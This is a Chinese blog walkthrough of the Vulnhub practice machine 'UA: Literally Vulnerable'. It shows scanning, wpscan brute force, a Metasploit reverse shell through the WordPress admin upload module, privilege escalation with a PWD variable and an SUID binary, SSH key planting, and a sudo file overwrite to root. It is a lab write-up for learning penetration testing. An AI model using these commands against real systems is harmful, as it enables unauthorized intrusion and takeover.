靶机渗透测试(UA: Literally Vulnerable)

靶机渗透测试(UA: Literally Vulnerable):

Vulnhub靶机 UA: Literally Vulnerable
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机难度:(Initial Shell (Easy) - Privileges Escalation (Intermediate)
目标:Flags: 3 (local.txt, user.txt & root.txt)
flag进度:3/3



渗透流程:

1. 探测靶机ip地址(netdiscover -i eth0 -r 网关)

命令:netdiscover -i eth0 -r 192.168.10.0

靶机ip为: 192.168.10.237
在这里插入图片描述



2. nmap进行靶机端口服务扫描

命令: nmap -sS -Pn -A -p- -n 192.168.10.237

靶机开放21/ftp、22/ssh、 80/http、 65535/http等端口服务
在这里插入图片描述



3. 根据端口服务进行信息收集(21/ftp端口)

在kali中登陆ftp服务(靶机允许匿名登陆),发现在FTP目录下存在一项“backupPassword”文件,似乎是密码的备份文件,保存备用。

在这里插入图片描述



4. 端口服务信息收集(80/http端口)

我们登陆80端口,发现HTTP页面似乎没有完全加载,且该站点正在向iteral.vurnerable的域名发出请求。

在这里插入图片描述

在这里插入图片描述

所以我们在Kali上将该域名映射到远程计算机IP,
在“/etc /hosts”配置文件的末尾添加:

192.168.10.237 literally.vulnerable

在这里插入图片描述

再次刷新页面,页面正常加载!!!

在这里插入图片描述

对于80页面进行信息收集,ctrl+u查看源代码,dirb进行目录扫描,均没有任何发现,80页面无果,没有收集到任何有价值的信息!!!



5. 端口服务信息收集(65535/http端口)

5.1. 信息收集~65535端口

登陆65535端口,看到为apache默认回显页面:

在这里插入图片描述

5.2. 目录扫描

使用dirb工具进行目录扫描,我们可以cd到/usr/share/dirb目录下,指定big.txt进行扫描(使用大字典

在这里插入图片描述
可以看到我们扫描出来了phpcms、phpcms/wp-admin等敏感目录;

在这里插入图片描述

登陆phpcms页面,发现无论使用弱口令爆破,还是使用刚刚爆破出来的密码,都不能正常登陆!

于是我们尝试直接登陆后台页面/phpcms/wp-admin,需要后台账号密码,我们使用wpscan枚举用户名密码;
wpscan用法参考

在这里插入图片描述

5.3. 枚举用户名密码登陆后台

使用工具wpscan对目标网站进行枚举,命令如下:

wpscan --url http://192.168.10.237:65535/phpcms --enumerate

通过枚举,发现了两个用户名:

maybeadmin
notadmin

然后使用从FTP服务器上下载的密码本进行爆破。

使用wpscan进行爆破,命令如下:

wpscan --url http://192.168.10.237:65535/phpcms -U users.txt -P backupPasswords

经过爆破,我们成功获取到了maybeadmin用户的密码:

maybeadmin:$EPid%J2L9LufO5

登陆成功!
不过maybeadmin用户并不是管理员,于是开始在后台的各个页面进行嗅探,在Posts页面我们发现了另一个用户notadmin的密码!!!并且该用户为管理员!!!

在这里插入图片描述

由于maybeadmin不是管理员账户(后台没有Users模块),所以我们切换为notadmin账户重新登录后台;

notadmin:Pa$$w0rd13!&



6. 反弹shell

WordPress在管理员权限下常见的有两种reverse shell的方式:
第一种:编辑Themes中的php页面,将reverse shell的代码添加进去,然后kali监听端口、访问php页面;(也可以利用PHP一句话,使用蚁剑连接,再反弹shell,得到shell)

第二种:直接用MSF中exploit/unix/webapp/wp_admin_shell_upload模块,show options查看各种需要set的配置,利用得到的notadmin用户和密码,获取shell。

在这里插入图片描述


6.1. MSF反弹shell

在这里,我们使用第二种操作,使用MSF反弹shell:

使用Metasploit来获取一个反向shell:

root@kali:~# msfconsole
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 > set rhosts 192.168.10.237
msf5 > set rport 65535
msf5 > set targeturi /phpcms
msf5 > set username notadmin
msf5 > set password Pa$$w0rd13!&
msf5 > exploit

在这里插入图片描述

成功反弹shell!!(得到www低权限用户
然后使用python3命令获取交互式shell

python3 -c ‘import pty; pty.spawn("/bin/bash")’

在这里插入图片描述



7. 权限提升(PWD修改与SSH协议)

进入到目标机器的shell后,发现了一个二进制文件,并且有一个名为john的用户启用了SUID权限。

当我们执行这个二进制文件itseasy时,系统会提示我们路径错误!

在这里插入图片描述


7.1. PWD环境变量修改

这个二进制文件对应名为PWD的环境变量的值,尝试使用这个变量执行/bin/bash

export PWD=$(/bin/bash)
./itseasy

成功进入john用户下!!!!
PWD是环境变量,而pwd对应的是可执行文件/usr/bin/pwd。如果这里调用的是pwd,那么我们可以通过PATH环境变量提权,而这里调用的是PWD环境变量,所以我们只能通过修改PWD的值进行提权

linux使用环境变量提权

在这里插入图片描述

我们在使用ls、cat等命令时,发现均不可调用,执行某些命令没有返回结果,但在执行exit后,却输出了结果!

在这里插入图片描述


7.2. 生成ssh文件,利用私钥登陆john用户

来回切换www用户和john用户太过于麻烦,于是我们联想到通过生成ssh文件,利用私钥登陆john用户

命令:
root @ kali:〜#ssh-keygen -t rsa (-t,表示使用rsa加密)

可以看到生成了id_rsa(私钥)、id_rsa.pub(公钥)

在这里插入图片描述
然后我们在靶机上新建ssh文件夹,cat查看生成的id_rsa.pub公钥,复制到目标主机的authorized_keys文件中:

命令:
mkdir -p /home/john/.ssh
echo “公钥” > /home/john/.ssh/authorized_keys

在这里插入图片描述

写入公钥成功后,我们就可以使用ssh进行远程登陆
注意:因为在生成私钥文件时,并没有使用密码,所以为免密登陆;
如果使用了密码,登陆时则会要求输入密码

我们也可以使用命令:
ssh -i id_rsa john@192.168.10.237
使用-i命令指向私钥文件,调用私钥文件登陆ssh

浅谈ssh安全外壳协议

在这里插入图片描述
ssh远程登陆john用户成功!
cat查看user.txt,得到user.flag!!!

在这里插入图片描述



8. 权限提升(sudo提权)

我们使用sudo -l命令查看john用户权限,发现需要输入john用户的密码,使用find命令查找关于password的文件信息,发现在./.local/share/tmpFiles/myPassword文件中存在密码,cat查看为base64加密,解密得到john用户密码;

find . -type f -iname “password” 2>/dev/null
cat ./.local/share/tmpFiles/myPassword
echo“ am9objpZWlckczhZNDlJQiNaWko =” | base64 -d

john:YZW$s8Y49IB#ZZJ

在这里插入图片描述

再次执行sudo -l,看到提示john可以执行(root)/var/www/html/test.html文件,于是我们自己写入/bin/bash/导入test.html中,达到利用目的;
拒绝访问?john不可写入文件

在这里插入图片描述

我们切换到www-data用户,发现www用户可以写入文件!
使用exit退出shell

可以看到我们成功写入test.html文件,然后我们对该文件赋予777可执行权限:

命令:
echo “/bin/bash” > /var/www/html/test.html
chmod 777 test.html

在这里插入图片描述

然后我们回到ssh远程连接中,sudo执行test.html文件,id查看当前用户,成功提权root!!!

cat root.txt 得到root.flag!!!

在这里插入图片描述
cd到doe用户目录下,cat查看local.txt得到local.flag!!
在这里插入图片描述
实验结束!!!



实验总结:

本次靶机复现过程中,首先ftp服务器的匿名登陆,得到后台用户密码;80页面的信息收集,以及配置hosts文件让页面正常回显很有意义;

在65535页面中,wpscan的枚举用户名发挥了重大作用,然后后续中使用msf反弹shell,得到低权限用户;

提权过程中,使用PWD环境变量提权,提升为john用户,SSH密钥登录,以及对ssh安全外壳协议的学习是本次的收获;


参考博客:
https://www.cnblogs.com/sn1per/p/12553081.html
https://blog.csdn.net/weixin_44214107/article/details/103544896

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值